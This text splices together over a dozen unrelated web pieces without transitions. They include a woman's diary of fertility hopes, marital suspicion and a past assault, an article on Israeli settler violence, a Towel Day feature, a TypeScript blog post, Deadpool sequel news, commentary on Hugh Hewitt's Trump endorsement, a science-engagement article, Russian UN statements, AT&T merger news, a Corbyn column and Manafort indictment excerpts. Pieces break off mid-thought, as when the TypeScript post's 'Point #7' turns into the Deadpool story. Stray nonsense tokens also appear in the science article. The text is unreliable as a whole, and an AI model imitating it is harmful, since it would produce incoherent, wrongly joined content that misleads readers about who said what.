6 a.m. I’m not happy this morning. My husband didn’t get home until 4 a.m., and it just doesn’t sit right with me. He says he was at work. That is really, really late, even for a corporate lawyer. I’m not a distrustful woman. I’ve never snooped on his phone. I don’t know or care about any of his passwords. I feel suspicious and upset and I’m not sure if I’m being crazy or not. He’s still sleeping when I get dressed and go to work.
8:30 a.m. I grab my co-worker, who’s divorced and a good friend, and tell her how late he was out. It feels related to the pressure around sex and babies this week. Again, am I being crazy? Am I already pregnant and these are hormones? (I wish.)
2 p.m. I’ve been anxious all day. I do some light Googling about this case he’s on (which I never have the energy to listen to). It’s a shitload of work. Maybe he really was working. I’ll ask him to his face tonight.
8:30 p.m. We are both home. I tell him I feel weird about his hours last night. He’s all, “Babe … stop. Are you even being serious?” His reaction doesn’t feel sketchy. My intuition doesn’t pick up on anything odd. I decide to drop it.
11:30 p.m. We don’t have sex. I’m still anxious. I hope I’m not losing my mind.
DAY SIX
7 a.m. He’s rubbing up against me as we both wake up. His morning wood is ready and willing. We have very quick, so-so sex. He comes and I have a little orgasm. Is it just me or can orgasms range from super-slight to epic? Been a long time since those epic ones. Even when I masturbate, I don’t come so hard. I‘d like to change that but I have no idea how?
3 p.m. Not going to lie, I walk around all day long praying I’m pregnant. I’ll take a test in like ten days. My mom had my brother when she was 40, and my doctor told me her average new-mom patient was 39. I hold on to these strands of hope like they’re gold.
8:30 p.m. We meet at a new restaurant on Chrystie Street. We used to be a lot more social, but these days we’re literally the only couple without kids. We don’t even try to fit in with the parental schedules. It’s usually just us — and that’s usually enough.
9 p.m. Dinner is delicious. We talk about winter travel plans and where to spend the holidays. We talk about work a little — his case does sound fucking brutal. I kind of think he’s strategically making it sound awful to cover up for the other night but again, that could be my mind playing tricks on me. I just can’t help myself and I say, “Babe, maybe we got pregnant this month?” He says, “I hope so” and we cheer our wine glasses.
DAY SEVEN
8:30 a.m. I have a breakfast meeting with a client who used to flirt with me a little too much, but not enough that it was an issue. Everyone is talking about the Weinstein stuff at breakfast and there’s a bit of an elephant in the room since this client is very, um, friendly. It’s hard to know when lines are crossed. I don’t feel violated by him at all, but I wonder if he’s been shaken by all of this, knowing he’s borderline a sexual harasser.
I was assaulted once by a colleague. Very similar to the Weinstein stories. Trapped in a room with him while he hit on me way too hard. I was petrified, and finally ran out of there. I reported it to our female boss and she never did a thing. He works somewhere else now. This was years ago and I realize that I never even told my husband about it.
11 a.m. I put #MeToo on my Facebook page, but I have to be careful because of my job. I try to limit social media anything.
10 p.m. Over dinner at home (I made pasta), I tell my husband my assault story. He is really upset about it. More upset than I am, or was at the time, if I’m being honest. He comes over to hold me. He asks if I want to do anything about it. No! No, I assure him — it was years ago and I was not raped. My husband gives me a lot of extra love and affection all night, which he doesn’t have to do and it’s not why I mentioned it. But I love this man, I really do. And I hope we get the happy future we deserve.
Sadly, however, this season, so-well known for the olive harvest, is now becoming known for something else: Israeli settler violence.
For several years we have been keeping a database of Israeli settler violence attacks and incidents and have collected daily data from 2004 to the present day noting thousands of incidents. We keep track of the date, time, type of attack, location and so on.
Last year, we published a comprehensive report on Israeli settler violence, analyzing where it was most prevalent, what trends we found and what causes it. One undeniable trend is that Palestinians and their property are increasingly at risk of settler attacks during olive harvest season. The chart below depicts the percentage of annual settler violence each month sees in the districts of Nablus, Qalqilya, Salfit and Ramallah where the majority of the West Bank’s olive trees are.
As you can see the chart line ticks up markedly in September and October, the months of the olive harvest. A greater proportion of settler violence happens during this period than any other comparable time span year in and year out. This year is no exception, there are examples here, here, here, here, here, here, here, here, here, here, here, here, here, here , here and as I am drafting this text, here:
Settlers destroyed over 600 olive trees in a Nablus village on Wednesday, a Palestinian Authority official said.Ghassan Daghlas, an official who monitors settlement activity in the northern West Bank, told Ma'an that settlers from Yizhar cut down hundreds of olive trees belonging to the Hamad, Hussein and Allan famlies in the village of Einabus.
The uptick during the olive harvest supports an explanation of settler violence discussed in our report. The different security jurisdictions in the West Bank create vacuums of security for Palestinians. While many Palestinians live in Area A, where at least nominally the Palestinian Authority has security jurisdiction under the Oslo Accords, the vast majority of Olive Groves are not in Area A but instead in Area B or even C. This means Palestinians have to leave the sanctum provided by their own security forces and rely on Israeli security when tending to their crop. The Israeli military often merely protects settlers as they attack Palestinians and the Israeli police are useless in this regard as well. So Palestinians are essentially sitting ducks who risk their security for their livelihood and to maintain an annual tradition that is integral to the Palestinian agricultural economy.
The failure of the Israeli state to reign in the settler violence, and in many cases it aids and abets, is an clear indictment of its failure to uphold its responsibilities as an occupier, charged with maintaining the well-being of the occupied civilian population under international law.
As de facto state agents, the settlers are doing the work that might be too controversial for the Israeli military to be directly involved in for public relations purposes but still serves the larger aim of checking and demoralizing a Palestinian population. Settlers act in ways to confine the Palestinian population through the use of violence by increasing the risks of existence in any areas outside Area A which is the vast majority of the West Bank.
Israel continues to distance itself in official rhetoric from settler violence but as with other elements of the colonial enterprise this too could not occur without, at minimum the tacit consent of the government. That consent in itself is tantamount to direct involvement.
In the Hitchhiker's books, the towel has a place of pride as a tool both practical and psychological, a baby blanket for the Universe. On the news of Adams' death, in May of 2001, Clyde Williamson left a message on the Binary Freedom forum:
From Adams' Hitchhiker's Guide to the Galaxy: "A towel is about the most massively useful thing an interstellar hitchhiker can have. Partly it has great practical value—you can wrap it around you for warmth as you bound across the cold moons of Jaglan Beta; you can lie on it on the brilliant marble‐sanded beaches of Santraginus V, inhaling the heady sea vapours; you can sleep under it beneath the stars which shine so redly on the desert world of Kakrafoon; use it to sail a mini raft down the slow heavy river Moth; wet it for use in hand‐to‐hand‐combat; wrap it round your head to ward off noxious fumes or to avoid the gaze of the Ravenous Bugblatter Beast of Traal (a mindbogglingly stupid animal, it assumes that if you can't see it, it can't see you—daft as a bush, but very ravenous); you can wave your towel in emergencies as a distress signal, and of course dry yourself off with it if it still seems to be clean enough."
"Douglas Adams will be missed by his fans worldwide. So that all his fans everywhere can pay tribute to this genius, I propose that two weeks after his passing (25 May 2001) be marked as 'Towel Day.' All Douglas Adams fans are encouraged to carry a towel with them for the day."
Adams is arguably one of the founding fathers of geekdom. Not simply because of his books, which unite an obvious love of science with a virtuoso sense of the absurdity of life. He also acted as a script doctor on uber-nerd scifi show Doctor Who and was instrumental in the development of the Hitchhiker's video game. He wrote with Monty Python's Graham Chapman, even appearing in sketches in episodes 42 and 44. He was an Apple fanboy long before the term gained currency. He was also an environmentalist and animal lover.
Ten years after Williamson conceived it, the holiday is celebrated in at least 30—and possibly as many as 42—countries worldwide, including Namibia, Finland, and Indonesia.
Among the more noteworthy celebrations:
On the Platz der Wienersymphoniker in Bregenz, Austria, "the discussion between Arthur and Mr. Posser in front of the yellow bulldozer will be re-enacted AND THERE WILL BE A YELLOW CAT930 (and peanuts, beer, and a bowl of Petunias)."
In São Paulo, Brazil, fans will celebrate the annual Marcha Da Toalha, while down the road in Brasilia they will host the Vogon Poetry Contest. ("Vogon poetry is widely accepted as the third worst in the Universe.") Vogon poetry is also slated to be recited in Prague.
Animeggroll in St. Louis, MO is one of many groups organizing a towel drive to benefit a local animal shelter.
Froods in Pune, India, are gathering at Volare on the Baner Pashan Link Road for (it goes without saying) Pan-Galactic Gargle Blasters.
In Paris, the Grand Ordre de la Serviette and the Don't Panic Club are hosting an "elaborate program," which includes cosplay, a towel beauty contest, improv, and an "English tea and jelly."
For a more complete menu of shenanigans, see the Towel Day website.
Austin Blocked Unblock Follow Following Apr 29, 2017
About one year ago, I published a blog post title Why I’m not a TypeScript fan. I had some strong opinions of why I didn’t use TypeScript. A few months after I published the post, Gaurav Seth reached out to talk about my post. He surprisingly agreed with many of the pain points I mentioned and said they were working on making this experience much smoother. Long story short, after that conversation I decided to give it a trial run on a side project before taking it to the big times with my project at work. Before I talk about that experience, I want to go through my points I had previously raised and talk about them shortly in retrospect.
Point #1 — Not the standard
I raised that TypeScript is not a standard. In the past there has been many variations of JavaScript come and go. I was worried about the longevity of implementing a large code base for TypeScript to just die in favor of a standard. Gaurav shared my thoughts here, he mentioned its on the top of their minds too. As you read on, you can see how they are addressing this.
Point #2 — You know its gonna happen
Microsoft has representatives on the board of the ECMAScript foundation and with the growing rise of popularity and interest of types in JavaScript, you can conclude that Microsoft’s implementation of TypeScript will likely be some sort of light variation of the official spec once it lands. Facebook’s Flow type actually resembles very similar syntax as TypeScript already. There is a current proposal in Stage 1 of ES8 for Static Types already so we know its coming soon!
Point #3 — Its been around and gotten no ❤
This is true but in hindsight I can conclude that JavaScript has been around for awhile too and gotten no ❤ either. I think with the growing popularity of JavaScript and the more things we build in it the stronger the case for a system like this.
Point #4 — Not Community Driven
This is somewhat true and not at the same time. Yes, Microsoft controls the outcome of this, however, they rely heavily on the community when building these new features into the language. Specs are drafted and posted long before any implementation is started. Microsoft’s position on the board helps them have intimate knowledge and inside details to arguments of why or not to do certain features.
Point #5 — A square in a circle hole (types in dynamic langs)
Adding a type system to any dynamic language is gonna be a tough mission. TypeScript surprisingly does an awesome job about type inference of the dynamic language. I think there is a sweet spot we need to find as a community and I think languages like TypeScript and Flow will help guide this path.
Point #6 — I’m a Babel fanboy
I still fancy Babel but after using it for about two years, the plugin system over complicates things and encourages you to write unstandard code. Its also surprisingly slower at compilation than TypeScript. Many of the plugins I used with Babel are available out of the box in TypeScript and the other things shouldn’t be at the compiler level and I’ve moved to Webpack plugins.
Point #7 — TypeScript Definitions
If you follow superhero movie news closely, you’re probably aware that writer/producer Simon Kinberg is pretty heavily involved in 20th Century Fox’s superhero universe. He wrote and produced X-Men: Future Past and the upcoming X-Men: Apocalypse in addition to co-writing and producing Fantastic Four, and he’s also producing Gambit and Deadpool, the latter of which is probably the most buzzworthy upcoming superhero property at Fox right now—and rightfully so.
The very R-rated Deadpool trailer landed online to overwhelmingly positive response last month, and both fans and the uninitiated alike are curious to see what this edgy antihero movie is all about. When Steve recently sat down with Kinberg at the Toronto International Film Festival to talk about The Martian (which Kinberg produced), they also broached the topic of the Deadpool rough cut that Kinberg just saw and whether there’s been internal talks of a sequel just yet:
“I have seen a rough cut of Deadpool and it’s fantastic. It’s a really good movie. It delivers on the promise of the trailer… We really committed and leaned into it being R-rated. It’s just darker and edgier and weirder in the best way—like Deadpool should be—than any other movie in the genre.”
With regards to the follow-up, Kinberg confirms they began talking about sequel ideas while on set, but cautions that he’s unaware of any studio decisions already made about Deadpool 2:
“We certainly are talking about the sequel—we were talking about the sequel while we were making the movie just because when you make a film like this that’s from a serialized source material, you hope that it’s the first of many… But yeah [Fox is] feeling good about it, we’re all feeling really proud of it, so hopefully before it comes out we will be well into the process of figuring out a sequel.”
Deadpool director Tim Miller previously hinted that comics character Cable will hopefully be popping up in Deadpool 2, so Steve asked Kinberg if they’ve been talking about using the character:
“It’s certainly come up because he’s such a big character in the world. And it’s a character that I’ve always wanted to do in one form or another, we talked about Cable actually in Days of Future Past at one point. But yeah we’re in such the early stages of sequel talk it would be genuinely premature for me to say whether or not he was gonna be in it.”
So while Deadpool is still a few months away (it opens on February 4, 2016), it sounds like everyone at Fox is very high on the prospects of continuing this franchise. And because Deadpool was produced on a relatively small budget compared to other superhero properties, the success threshold to warrant the greenlight of a sequel is lower. Here’s hoping folks turn out in February so we can see the continuing adventures of Ryan Reynolds’ Merc with a mouth.
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Council MOT Test Centres in UK
Watch as James 'Dynamite' Hillier somehow manages to keep a nearly out of control Kawasaki superbike upright, on the road and in the race! Blazing around the Isle of Man's 'Ballagarey Corner’, also known as Balla-Scary, Hillier wills the machine back into line.
This cowboy's motorcycle has a sidecar for his horse I have never seen anything like this before: A motorcycle-riding cowboy in Idaho has figured out a way to bring his horse along with him… in a sidecar! View this post on Instagram The new "Rodeo Rig" go check out the video the link is in my account in my bio.🤠 A post shared by […] READ THE REST
Not the heavy duty work pants I was looking for I was looking for a pair of Duluth Trading Company fire hose pants. They are awesome. They are made of the same heavy canvas a fire hose outer insulation is. They are soft, but massively over stitched and have a popular with the nuggets ‘crotch gusset.’ None of these things should have led to Zmart […] READ THE REST
One lucky motorcylist Motorcyclist Malik Elizee is spared as his motorcycle is sent flying in an automotive chain reaction. Elizee’s motorcycle goes sliding away at a near 90degree angle to the direction it, and Elizee were travelling. Elizee lands on his feet and runs with the momentum. Fear. READ THE REST
Get certified online in machine learning and data science As big companies wrangle an ever-increasing amount of data, the applications for deep learning grow – and so do the job opportunities. If you’ve got a working knowledge of Python, all you need are the tools to start making data work for you. Get up to speed on the science and code behind the field […] READ THE REST
Conservative radio host and aspiring writer Hugh Hewitt’s endorsement of Donald Trump is, in one sense, a surprise. In another sense, it is an incoherent word salad. First, the surprise part: Hewitt aggressively questioned Trump on his show last September, eliciting embarrassing confusion from the candidate about the difference between Iran’s Quds force (a unit of the Revolutionary Guard) and the region’s Kurds (an ethnic group). This was back in those early, innocent days when such a gaffe would actually qualify as one of the 10 or so most inane things Trump said in a given week. CNN, in its infinite wisdom, even asked Hewitt to be a co-moderator for several debates, and Hewitt was relatively assertive in his questioning of Trump in front of a live national television audience. Trump, naturally, attacked Hewitt personally. So, yes, an apparent endorsement now is strange.
I say apparent because Hewitt’s explanation of that endorsement is written like a fourth-grade essay hastily translated from Portuguese. Hewitt, who styles himself as a quasi-intellectual but is a Republican partisan at heart, published an op-ed in the Washington Examiner on Sunday that makes three arguments for why reluctant conservatives should support Trump. The first is that a Hillary Clinton presidency would mean a liberal Supreme Court. Hewitt explains it this way: “I have the advantage of having taught Con Law for 20 years, of having argued before very liberal appellate judges like Judge Stephen Reinhardt of the very liberal Ninth Circuit, of practicing with the best litigators in the land, and I know what a very liberal SCOTUS means: conservatism is done.”
Hewitt’s second argument is that Clinton is a Putin “pawn.” This may seem counterintuitive, considering that her opponent has spoken warmly of Putin, and has advocated policies that Putin agrees with. But Hewitt argues that Clinton’s emails are certainly in Russian hands, which means she will be forced to do their bidding. (Of the Russians, he writes, “They are a GEICO ad of spying: That’s what they do.”)
Hewitt’s third argument is more confusing, and even more poorly phrased. Here it is:
The first two arguments are negatives. But there is a positive case for Donald Trump, a third prong in the case for working for Trump’s election: He brings 3,000 political appointees with him, and the first two—Indiana Gov. Mike Pence as VP and New Jersey Gov. Chris Christie has chief of the transition—telegraph that the vast majority of his team in the executive branch (and his appointees on the courts) will be conservatives.
Yes, Trump is transplanting economic populism into the GOP, and parts of the conservative movement are struggling to reject the transplant (just as parts of the Democratic Party are denying that the principle of transference works when applied to their passion for/love of Bernie Sanders/President Obama and HRC.)
The second part here is essentially gibberish, but I think we can all sense what Hewitt is getting at. Or maybe we can’t: Upon re-reading the passage, I am less certain of what on Earth he is talking about. This is even truer of the ensuing paragraph, which also should be read in full:
But Donald Trump, like it or not—like him or not—is the imperfect messenger of the perfect storm in American politics. He is the shuddering, convulsive conclusion to decades of perceived indifference to the American middle class combined with a conviction that the GOP is spineless, and if he is not to your tastes, too bad.
In short, Hewitt could have been one of the conservatives who preserved their dignity and pride by refusing to endorse Trump. Predictably, he has not chosen that route. Less predictably, he has chosen a barely legible way to express his preferred option. It’s hard not to pity a guy who can actually write the following sentence and allow it to be published: “And he backed away from the cliff of indifference to race of such massive proportions—the Judge Curiel episode which had me launching whatever rhetorical broadside I could muster against him—that it would have obliged me to surrender the election and the courts.” It’s almost enough to make one pine for the much terser and more cogent Twitter musings of Hewitt’s man, Donald Trump.
You may have had a similar reaction – although hopefully not – to last week’s position paper by Australia’s chief scientist, Ian Chubb, in which he urges a strategic approach to science, technology, engineering and mathematics in the national interest.
But worse than any of the above: you may not have reacted at all.
It might sound like it’s been lifted from an old Ripley’s Believe it or Not headline, yet the strange but true fact is: not everybody is absolutely fascinated by science, nor thinks it is vital.
Indeed, according to research conducted in 2011 by the Victorian Department of Business and Innovation, as many as 30% of the Victorian population are unengaged on science issues.
That’s three in every ten people lined up at the check-out at your average local shops who probably haven’t once thought of Brian Cox nor dinosaurs nor space, yet alone basic chemistry, in the last year!
The study, which was similar to others done in the UK and New Zealand, divided the public up into segments by their interest in science and technology and their ability to find and understand information on it, and came up with six key population groupings.
simaje
Two of them – who we might refer to “the active and interested” and “the generally active and generally interested” – make up the bulk of those who watch science programs, read science blogs, take part in science public events and so on (about 55%).
We could call them the True Believers, but it might be more relevant to call them the Low Hanging Fruit, because they are the members of the population most easily reached with science communication activities and who by far the bulk of activities are designed for.
The middle 15% or so are from the segment that looks for information on science and technology but, when they find it, don’t understand it well – individuals who can usually be reached with a little bit more creative effort and clarity of language and so on.
But the last three segments together make up the nearly 30% or so of people who are generally unengaged and tend to be mutual strangers to most science communication events and activities: they don’t value them, understand them nor see the real point of them.
These people tended to be younger, female, less educated, more likely to think government funding for science should be cut and that science was out of control. A comment that emerged from one of several focus groups held with the unengaged, conducted in Melbourne by the Department of Innovation, was:
Why do you think it so important that we know about your science?
The answer is obvious, of course! Because it’s vital! Because it’s interesting. And because it is – well – it’s science!
It’s very easy to get carried away with a belief that we are doing a good job when we get great attendance and great responses from the science fan club, or those who easily engage on particular topics of interest. But against any measure across the wider society, those people are not representative of the whole population.
According to Inspiring Australia’s Developing an Evidence Base for Science Engagement Expert Working Group, published in 2011:
It’s essential to recognise the diversity within and among the Australian public, including non‐traditional audiences who are difficult to reach and are usually unengaged with scientific issues, such as indigenous communities, migrant communities and English second‐language speakers.
We also tend to miss people from lower socio-economic backgrounds, we tend to miss too many young people, and we tend to not even know who the others we are missing are.
OxOx
The Victorian study mentioned at the outset of this article found the three main reasons for having a lack of interest in science among the unengaged “segments” of the population were that respondents:
1) had never been interested in it (25%)
2) found it hard to understand (16%)
3) had other priorities in life (14%)
Focus group studies into the unengaged conducted by the Department of Innovation since 2009, and by CSIRO this year (using targeted recruitment and paying incentives to participate) found there were some interesting and unexpected common themes that emerged among scientifically-unengaged members of our community:
Nearly all reported a negative experience of science at school – although it’s not clear if it was the experience that drove the negative attitude or an existing negative attitude that drove the negative experience.
While the word “science” was a bit of a sleep-inducer, “technology” had a lot more appeal to it.
People did not actually want to know about how a technology worked – they just wanted to know that it did work, that it was safe, and that it would solve the problem that it was intended for.
Interestingly, when asked who they most trusted to tell them about a science or technology, the focus group members cited friends, relatives and even talkback radio hosts, often without reference to any expertise.
deszedol
So what do we do?
The unengaged and disengaged segments of the community have not been well-researched but appear to have quite different values, interests and levels of awareness of science and technology issues, compared to those people science communicators regularly engage with.
They therefore need to be reached with differently-framed communication, education or engagement activities. In my view, these should include:
going to where unengaged people are, rather than expecting them to self-select to come to you
not talking about the science and technology itself, but talking about outcomes such as water uses, energy or health; and then concentrating on how the technology is used and why.
understanding that talking about an application can lead to talking about science ideas, but not the other way around.
trying a little harder, then evaluating things and sharing your successes with others
On Thursday night, the United States launched 59 Tomahawk cruise missiles at the Syrian military airfield in Ash Sha’irat, located about 40 kilometers (25 miles) from the city of Homs. US President Donald Trump said the attack was a response to the alleged chemical weapon use in Syria's Idlib on Tuesday, which Washington blames on the Syrian government. According to Homs Governor Talal Barazi, the attack killed five people and injured seven others.
"The aggression of the US toward Syria is only contributing to the terrorism strengthening," Vladimir Safronkov told at the UN. "It is not difficult to imagine how much the spirit of these terrorists have been raised after the support from Washington."
© Sputnik / Mikhail Voskresenskiy Only 23 US Cruise Missiles Reached Syrian Airfield - Russian Defense Ministry
"We strongly condemn the illegitimate actions by the United States," Safronkov stated. "The consequences of this for regional and international stability could be extremely serious."
"We call upon the United States to immediately cease aggression and to join those efforts being made for a political settlement in Syria," Safronkov stated.
"The Russian Federation from the United Nations organization has stated the need to establish an international coalition to counter terrorism, which would be on the basis of international law," Safronkov stated. "You have chosen a different path."
Washington's calls for the political settlement in Syria turn out to be hypocritical after the strikes, he said.
"Today's calls to promote the process of political settlement are hypocritical. After the military strikes, unfortunately," Safronkov said at a meeting of the UN Security Council on Friday.
"On this track, on the platforms of Astana, Geneva, visible positive changes have recently appeared. What goals did you pursue when you undermined this progress, by the way, achieved by no means thanks to you?" he said refering to the comments by his Western colleagues.
The US, the UK and France are obsessed with Syrian President Bashar Assad's ousting, he emphasized.
"Washington, London and Paris are obsessed with the paranoid idea of overthrowing the legitimate government of Syria. This is evidenced by the evil, undiplomatic behavior and the address by the British ambassador. Mr. Rycroft, stop operating with low-quality, unprofessional arguments and accusations against my country. Once again I warn you, do not even try to quarrel with the Arab world, nothing good will come of it," the Russian diplomat said.
© AP Photo / Frank Franklin II UNSC Holds Emergency Meeting on US Missile Attack in Syria (VIDEO)
Safronkov said that the Syrian government doesn't control the region of the Idlib chemical attack, adding that terrorists "have lots of things to hide there, especially concerning the chemical weapons' dossier."
The United States fears an independent investigation into Syria’s alleged use of chemical weapons because it would not support its stance against the government in Damascus, Russia’s Deputy Ambassador to the United Nations Vladimir Safronkov said at a UN Security Council meeting on Friday.
"You are afraid of real, genuine, independent investigation," Safronkov stated. "What would happen if the outcome of the investigation would contradict your anti-government paradigm?"
Syrian opposition claimed Tuesday forces loyal to President Bashar Assad had used a chemical gas on people in the northwestern province, killing nearly 80 and injuring 200. Assad argued his government has no chemical weapons after agreeing to have them destroyed in 2013. He also ruled out having used chemicals against own people.
The Russian Defense Ministry said early Wednesday the airstrike near Khan Shaykhun was carried out by Syrian aircraft, which struck a terrorist warehouse that stored chemical weapons slated for delivery to Iraq.
Katy vs. Ke$ha - Tik Tok California Gurl$
Today while perusing the web I came across a post that mentioned how Katy Perry’s “California Gurls” happened to have the exact same beat as Ke$ha’s “Tik Tok”. I hadn’t noticed it myself and upon closer inspection it seemed that, yes, they were quite similar. After doing a little digging it seemed that a lot of people were noticing the similarities, including the New York Post.
Since I had yet to make my annual mashup I thought what better tracks to try than these two. After about 40 minutes of work this was the result. A little more tidying up of some edits is required but overall I’m quite pleased with the result.
It should be pointed out: I am not the first to make a mashup like this. In fact, there are already a few out there (including this one which served as my main inspiration). However this is my version, with my own touches here and there.
So there you have it: two great summer jamz rolled all into one. Like peanut butter and chocolate. But be warned: it’s so hot, it’ll melt your popsicle. Or possibly your Reeses Peanut Butter Cup.
UPDATE: You can now download the track here, or get the complete single here (including 2 alternate mixes and a third bonus mix).
Update 2: The response has been overwhelming. Thanks so much guys! If you’re really digging this track, why not become a Fan on Facebook? It’d mean a lot to us. Keep tellin’ your friends, and keep meltin’ those popsicles!
The Federal Communications Commission (FCC) has suggested for weeks that it had big problems with AT&T's $39 billion buyout of T-Mobile USA. On November 22, the FCC made its displeasure even clearer, forwarding the entire merger to an administrative law judge for review and demanding that AT&T prove the deal would be in the public interest.
Instead of doing this, AT&T has decided to take its ball and go home. Yesterday, the company withdrew its FCC application.
AT&T and T-Mobile owner Deutsche Telekom insisted in a statement (PDF) that the withdrawal would be temporary and that, "as soon as practical, AT&T Inc. and Deutsche Telekom AG intend to seek the necessary FCC approval."
What will they be doing in the meantime? Fighting off an antitrust lawsuit brought by the Department of Justice, the other government agency reviewing the deal. The companies will "focus their continuing efforts on obtaining antitrust clearance for the transaction from the Department of Justice either through the litigation pending before the United States District Court for the District of Columbia, Case No. 1:11-cv-01560 (ESH) or alternate means."
AT&T will also take a pretax charge of $4 billion dollars in the fourth quarter of this year—a move which accounts for the "breakup fee" it owes Deutsche Telekom if the deal falls apart.
Public Knowledge's Gigi Sohn, who has opposed the merger from the start, said today in a statement that "the chances that AT&T will take over T-Mobile are almost gone.... AT&T's move will, for the moment, prevent the FCC from making public its many, well-documented findings that the deal is not in the public interest and will prevent the judge overseeing the antitrust lawsuit from seeing the FCC's conclusions. Those findings would be the subject of the large and complex administrative hearing and process that AT&T would still need to survive in order to complete the $39 billion transaction."
Iain Duncan Smith quit due to Treasury refusal to consider pensioner cuts Read more
While it may please the Conservative media to find Corbyn’s remarks indistinguishable from anything Ed Miliband or Balls would have said, closer or less partial observers will remember this was never quite their modus operandi. The last Labour leadership would always go in with a qualification, a “while we accept the urgency of cutting the deficit” here, or a “cuts must be made, but …” there. It always sounded more like nagging than opposing.
However, there is buoy of truth keeping the canard afloat: Corbyn’s opposition didn’t look like a traditional one because his bench, front and back, didn’t respond in the time-honoured way. During a shadow leader’s budget speech, while it’s understood that his party is behind him, they never simply take that as given. Their job is to caterwaul and holler, repeat key words and phrases, perform a vaudeville-zoo display that leaves no one in any doubt as to the sturdiness of their support. The MPs of Corbyn’s party spend his speeches checking their phones, as if they have all been replaced by their teenage offspring.
Corbynistas tend to explain this as the fault of the treacherous moderates, but I think there is more beneath the surface. The parliamentary game must be played by everyone – leader and led – in a particular frame of mind: it is characterised by an absence of doubt, and with great bolts of energy and self‑belief. Corbyn simply cannot mask his weariness that an incredibly obvious point of moral truth – the dignity of poor people should not be sacrificed to the primping of the rich – still has to be stated.
Whatever the reason that they cannot present themselves as Corbyn groupies, Labour MPs have to build a better story
He’s like a Hawkwind tribute act: it’s so plain to him that Silver Machine is the best song on Earth that he doesn’t put enough welly into the chords. His backbenchers could yelp and cheer, but they run the risk that he will turn round with a teacherly eyebrow that asks them what, precisely, all that noise is about. This account is more plausible than its alternative, that they prefer Osborne’s programme to their own leader’s. Whatever this party’s fissures and vanities, they are still social democrats. They did not come into politics to throw disabled people under a bus as proof of their commitment to the lean and competitive state.
Whatever the reason that they cannot quite present themselves as Corbyn groupies, Labour MPs have to build a better story rather than simply remaining silent. It is theirs for the taking: there is a 21st-century response to this, which clicks into a broader narrative.
Facebook Twitter Pinterest Iain Duncan Smith leaving BBC New Broadcasting House after appearing on the Andrew Marr show on March 20. Photograph: Chris Ratcliffe/Getty Images
First, the labour market that the Department for Work and Pensions describes bears no relation to reality. The “non-binary world” that “compassionate” Conservatives yearn for in which disabled people can move between categories of “fit” and “unfit” with their fluctuating health, relies on a jobs market that is casual but still caring, where positions are held open, support is a given, fairness and empathy flow freely.
What we have instead is a market in which flexibility is all in the employer’s favour, zero-hours contracts undermine the stability of workers regardless of their health, and minimum wage legislation is routinely undermined by the extra time it takes to strip-search your staff as they leave. It’s an atmosphere of hyper-surveillance and radical mistrust. There is room in this debate for a forward-facing MP to ask not are disabled people working hard enough for employers, but are employers working hard enough for disabled people – or, for that matter, anybody else.
Second, it is time to unpick the goal of social mobility, which is just a benign phrase for “survival of the fittest”. We need to concentrate not on a society where the ambitious can prosper, but build one in which the least economically productive still live in comfort and dignity. None of us is productive all the time, some of us aren’t productive any of the time – but we’re still as human as one another. This is an opportunity to make the point that freedom, for so long framed as the ability to compete and consume, is meaningless if your basic needs aren’t met. To chip away at any group’s means of sustenance is to be a government actively working against personal freedom.
Third, the intricate variety of disability is blurred on the left, while it is forensically examined on the right in order to erode benefits in a systematic way. Those who are cognitively able but physically impaired saw their lives bludgeoned with the closure of the independent living fund.
Labour urges new work and pensions secretary to reverse disability benefit cut Read more
It left people who were previously in fulfilling careers stuck at home, sitting on an incontinence pad, waiting for two 15-minute care worker visits to top and tail the day. People with a learning disability saw their main employer and support structure, Remploy, privatised, its factories shut down, its other functions contracted out to Maximus, the same American company whose other government work is to inform people that they never had a disability in the first place.
Those who are too disabled to undertake work of any kind have been hit in other ways: a change of indexation rules, the bedroom tax, cuts in housing benefit, cuts in adult social care, higher eligibility criteria and so on. All these people have been rigorously, though tacitly, differentiated by a government determined to give no quarter. In order to universalise the case for dignity, the left needs to humanise this debate.
After MANAFORT used his offshore accounts to purchase real estate in the United States, he took out mortgages on the properties, thereby allowing MANAFORT to have the benefits of liquid income without paying taxes on it. Further, MANAFORT defrauded the banks that loaned him the money so that he could withdraw more money at a cheaper rate than he otherwise would have been permitted.
The indictment shows how the investigators’ deep scrutiny of Mr. Manafort’s financial dealings helped them uncover additional alleged offenses that resulted in charges. For example, Mr. Manafort “used his hidden overseas wealth to enjoy a lavish lifestyle in the United States, without paying taxes on that income,” according to the indictment, by having his overseas entities buy real estate and then taking out mortgages on those properties, freeing up cash.
The indictment details several such transactions in which Mr. Manafort is accused of falsely telling the bank he was either living in the properties or was using the borrowed funds for construction, thereby gaining access to a lower interest rate.
Conspiracy against the United States
From in or about and between 2006 and 2017, both dates being approximate and inclusive, in the District of Columbia and elsewhere, the defendants PAUL J. MANAFORT JR., and RICHARD W. GATES III, together with others, knowingly and intentionally conspired to defraud the United States by impeding, impairing, obstructing, and defeating the lawful governmental functions of a government agency, namely the Department of Justice and the Department of the Treasury, and to commit offenses against the United States, to wit, the violations of law charged in Counts Three through Six and Ten through Twelve.
The first charge against Mr. Manafort and Mr. Gates is conspiracy, a powerful tool used by prosecutors. Two people are guilty of the crime of conspiracy if they agreed to commit a crime and took any step toward that goal. Conspiracy charges also permit prosecutors to hold each defendant responsible for the actions of the others within a plot. Here is a primer on how conspiracy charges may fit into the Trump-Russia probe.
An unusual basis for money laundering charges
(a) transport, transmit, and transfer monetary instruments and funds from places outside the United States to and through places in the United States and from places in the United States to and through places outside the United States, with the intent to promote the carrying on of specified unlawful activity, to wit: a felony Violation of the FARA, in Violation of Title 22, United States Code, Sections 612 and 618 (the “Specified Unlawful Activity”), contrary to Title 18, United States Code, Section 1956(a)(2)(A); and (b) conduct financial transactions, affecting interstate and foreign commerce, knowing that the property involved in the financial transactions would represent the proceeds of some form of unlawful activity, and the transactions in fact would involve the proceeds of Specified Unlawful Activity, knowing that such financial transactions were designed in whole and in part (i) to engage in conduct constituting a Violation of sections 7201 and 7206 of the Internal Revenue Code of 1986, and (ii) to conceal and disguise the nature, location, source, ownership, and control of the proceeds of the Specified Unlawful Activity, contrary to Title 18, United States Code, Section 19S6(a)(1)(A)(ii) and l956(a)(1)(B)(i).
Money laundering charges require that the financial transactions involved be designed to conceal that funds came from an underlying unlawful activity. Typically, such charges are pegged to a crime like drug trafficking. Here, prosecutors say, the underlying activity is instead the failure by Mr. Manafort and Mr. Gates to register as a foreign agent while conducting lobbying activities for Ukraine that were otherwise lawful in and of themselves. That is an aggressive move by Mr. Mueller’s team.
Mueller is going after Manafort’s assets
